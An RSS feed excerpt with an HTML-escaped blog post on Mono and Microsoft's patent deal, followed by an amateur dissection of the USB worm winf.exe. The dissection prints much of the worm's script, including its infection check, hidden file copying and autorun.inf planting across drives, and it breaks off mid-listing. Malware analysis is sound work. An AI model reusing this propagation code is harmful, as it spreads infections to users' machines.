components&lt;/div&gt;&lt;ol&gt;&lt;li&gt;Core components&lt;/li&gt;&lt;li&gt;Mono/Linux/GNOME development stack&lt;/li&gt;&lt;li&gt;Microsoft compatibility stack&lt;/li&gt;&lt;/ol&gt;&lt;div mce_style=&quot;text-align: center;&quot; style=&quot;text-align: center;&quot;&gt;&lt;b&gt;Frame work architecture of Mono&lt;/b&gt;&lt;/div&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/_Pms4ehFPMfI/SWoQQxm20gI/AAAAAAAAAgA/47kI2o8OmsM/s1600-h/400px-Mono_architecture.svg.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://2.bp.blogspot.com/_Pms4ehFPMfI/SWoQQxm20gI/AAAAAAAAAgA/47kI2o8OmsM/s320/400px-Mono_architecture.svg.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;text-align: left;&quot;&gt;&lt;/div&gt;&lt;div mce_style=&quot;text-align: center;&quot; style=&quot;text-align: center;&quot;&gt;&lt;/div&gt;&lt;div mce_style=&quot;text-align: center;&quot; style=&quot;text-align: center;&quot;&gt;&lt;b&gt;Mono and Microsoft'w patent issue&lt;/b&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;div mce_style=&quot;text-align: justify;&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;border-collapse: separate; color: black; font-family: -webkit-sans-serif; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 19px; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;On November 2, 2006, Microsoft and Novell announced a joint agreement whereby Microsoft agreed to not sue Novell’s customers for patent infringement.&lt;sup class=&quot;reference&quot; id=&quot;cite_ref-9&quot; mce_style=&quot;line-height: 1em;&quot; style=&quot;line-height: 1em;&quot;&gt;[10]&lt;/sup&gt; According to Mono project leader Miguel de Icaza,&lt;sup class=&quot;reference&quot; id=&quot;cite_ref-10&quot; mce_style=&quot;line-height: 1em;&quot; style=&quot;line-height: 1em;&quot;&gt;[11]&lt;/sup&gt; this agreement extends to Mono but only for Novell developers and customers. It was criticized by some members of the &lt;a href=&quot;http://en.wikipedia.org/wiki/Free_software_community&quot; mce_href=&quot;/wiki/Free_software_community&quot; mce_style=&quot;text-decoration: none; color: #002bb8; background-image: none;&quot; style=&quot;background-image: none; color: #002bb8; text-decoration: none;&quot; title=&quot;Free software community&quot;&gt;free software community&lt;/a&gt; because it violates the principles of giving equal rights to all users of a particular program (see &lt;a href=&quot;http://en.wikipedia.org/wiki/Novell#Agreement_with_Microsoft&quot; mce_href=&quot;/wiki/Novell#Agreement_with_Microsoft&quot; mce_style=&quot;text-decoration: none; color: #002bb8; background-image: none;&quot; style=&quot;background-image: none; color: #002bb8; text-decoration: none;&quot; title=&quot;Novell&quot;&gt;Novell and their Patent Agreement with Microsoft&lt;/a&gt;).&lt;/span&gt;&lt;/div&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;div mce_style=&quot;text-align: justify;&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;border-collapse: separate; color: black; font-family: -webkit-sans-serif; font-size: 13px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 19px; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;/span&gt;&lt;/div&gt;&lt;div mce_style=&quot;text-align: justify;&quot; style=&quot;text-align: left;&quot;&gt;Currently &lt;a href=&quot;http://en.wikipedia.org/wiki/GNOME&quot;&gt;GNOME &lt;/a&gt;is using mono packages and some of the application for GNOME like Banshi, Beagle desktop search, F-spot are developed using Mono API.&lt;/div&gt;&lt;div mce_style=&quot;text-align: justify;&quot; style=&quot;text-align: justify;&quot;&gt;Mono is also providing MonoDevelop a free C# and ASP .NET IDE. You can download it and other Mono packages for your system from Mono's project website here is the link &lt;a href=&quot;http://www.mono-project.com/Main_Page&quot; mce_href=&quot;http://www.mono-project.com/Main_Page&quot; target=&quot;_blank&quot; title=&quot;http://www.mono-project.com/Main_Page&quot;&gt;http://www.mono-project.com/Main_Page&lt;/a&gt;.&lt;/div&gt;&lt;div mce_style=&quot;text-align: justify;&quot; style=&quot;text-align: justify;&quot;&gt;Overall I can say Microsoft's propereitary .NET framework which is developed only for Windows XP can now be migrated to all the platforms due to the efforts of Open source community. ;) (You can get full explanation of Framework architecture of Mono in Wikipedia and Mono project Website).&lt;/div&gt;&lt;b&gt;Source:&lt;/b&gt;&lt;br /&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Mono_%28software%29&quot; mce_href=&quot;http://en.wikipedia.org/wiki/Mono_(software)&quot; title=&quot;Wikepedia&quot;&gt;Wikepedia&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;http://www.mono-project.com/Main_Page&quot; mce_href=&quot;http://www.mono-project.com/Main_Page&quot; title=&quot;Mono&quot;&gt;Mono project website&lt;/a&gt;
</description>
<pubDate>Sun, 11 Jan 2009 00:00:00 -0800</pubDate>
<link>http://copyninja.info/2009/01/mono-a-net-frame-work-for-linux-cross-platform.html</link>
<guid isPermaLink="true">http://copyninja.info/2009/01/mono-a-net-frame-work-for-linux-cross-platform.html</guid>
</item>



<item>
<title>winf.exe Disected</title>
<description>&lt;div style=&quot;text-align: justify;&quot;&gt;Well folks I got my hand on worm winf.exe from my friends pen drive even thought I couldn't get much because of Avast has deleted harmful viruses. But I could save following files.&lt;/div&gt;&lt;blockquote style=&quot;text-align: justify;&quot;&gt;1. install.txt&lt;/blockquote&gt;&lt;blockquote&gt;2. pathlist.txt&lt;/blockquote&gt;&lt;blockquote&gt;3.drivelist.txt&lt;/blockquote&gt;&lt;blockquote&gt;4. thb.ico (which appears as drive icon)&lt;/blockquote&gt;&lt;blockquote&gt;5. DLL.ico (which is used to mask the programs as DLL file in system folders)&lt;/blockquote&gt;&lt;blockquote&gt;6. Icon.ico (used to hide winf.exe)&lt;/blockquote&gt;&lt;br /&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&amp;nbsp;If you want to see these files just rename winf.exe file to winf.rar and extract files. Well when I went through the files I got a rough idea of its working which I'm going to explain here.&lt;/div&gt;&lt;br /&gt;&lt;blockquote style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;The sfx should be created with the extracting path as %temp% &amp;nbsp; &amp;nbsp; &amp;nbsp;*&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;and the program to run after extract is , winf.exe install.txt *&amp;nbsp;&lt;/span&gt;&lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;br /&gt;These lines tell that the install.txt is a input to file wiinf.exe. Next program is supposed to read following entry in registry&lt;/div&gt;&lt;blockquote style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run,status&lt;/span&gt;&amp;nbsp;&lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;If its already infected progrma simply exits. The following lines are used for this.&lt;/div&gt;&lt;blockquote style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Regread,regvalue,REG_SZ,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run,status&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;ifequal,regvalue,present&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;exitapp&lt;/span&gt;&lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;br /&gt;Next it reads the file pathlist.txt which has following contents&lt;/div&gt;&lt;blockquote style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;C:\WINDOWS\system32\win.dll&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;D:\RECYCLE&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;E:\RECYCLE&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;F:\RECYCLE&amp;nbsp;&lt;/span&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;ArrayCount = 0&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Loop, Read,%temp%\winf\pathList.txt&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;{&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;ArrayCount += 1 &lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;Array%ArrayCount% := A_LoopReadLine&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;}&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Loop %ArrayCount%&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;{&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;path1 := Array%A_Index% &lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;Ifexist,%path1%&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; Ifexist,%path1%\win.exe&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Ifexist,%path1%\std.txt&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;exitapp &lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;FileCreateDir,%path1%&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if errorlevel&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;continue&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;else&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; {&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Filecopy,%temp%\winf\win.exe,%path1%\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if errorlevel&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; continue&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; Filecopy,%temp%\winf\avgs.exe,%path1%\ &lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Filecopy,%temp%\winf\drivelist.txt,%path1%\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Filecopy,%temp%\winf\win.mp3,%path1%\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Filecopy,%temp%\winf\icon.ico,%path1%\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; Filecopy,%temp%\winf\thb.ico,%path1%\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; Filecopy,%temp%\winf\DLL.ico,%path1%\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; FileCreateDir,%path1%\reg.bkp&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; break&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;}&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Filesetattrib,+SH,%path1%&lt;/span&gt;&lt;/blockquote&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;br /&gt;&lt;br /&gt;Well look at the above piece of code. As per my&amp;nbsp;interpretation what happens here is first path is copied into a variable and then checks to see if path already exists and files like win.exe and std.txt is present, this implies the system is already infected and hence program exits. If not present all the files are copied into all the specified path. Then path attribute is changed to such that they act as system files. Last line of above code does this.&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;See the following code&lt;/div&gt;&lt;br /&gt;&lt;blockquote style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Filesetattrib,+SH,%temp%\thb.ico&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;Filesetattrib,+SH,%temp%\autorun.inf&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;filedelete,c:\autorun.inf&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp;Filecopy,%temp%\winf\thb.ico,c:\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;     &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; Filecopy,%temp%\winf\autorun.inf,c:\ &lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; filedelete,D:\autorun.inf&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Filecopy,%temp%\winf\thb.ico,D:\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; Filecopy,%temp%\winf\autorun.inf,D:\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; filedelete,E:\autorun.inf&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; Filecopy,%temp%\winf\thb.ico,E:\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; Filecopy,%temp%\winf\autorun.inf,E:\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; filedelete,F:\autorun.inf&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; Filecopy,%temp%\winf\thb.ico,F:\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; Filecopy,%temp%\winf\autorun.inf,F:\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; filedelete,G:\autorun.inf&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; Filecopy,%temp%\winf\thb.ico,G:\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; Filecopy,%temp%\winf\autorun.inf,G:\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; filedelete,H:\autorun.inf&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; Filecopy,%temp%\winf\thb.ico,H:\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; Filecopy,%temp%\winf\autorun.inf,H:\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; filedelete,I:\autorun.inf&lt;/span&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; Filecopy,%temp%\winf\thb.ico,I:\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; Filecopy,%temp%\winf\autorun.inf,I:\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; filedelete,J:\autorun.inf&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; Filecopy,%temp%\winf\thb.ico,J:\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; Filecopy,%temp%\winf\autorun.inf,J:\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; filedelete,K:\autorun.inf&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; Filecopy,%temp%\winf\thb.ico,K:\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; Filecopy,%temp%\winf\autorun.inf,K:\&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; filedelete,L:\autorun.inf&lt;br /&gt;&lt;/span&gt;&lt;/blockquote&gt;&lt;blockquote&gt;&lt;span style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt; 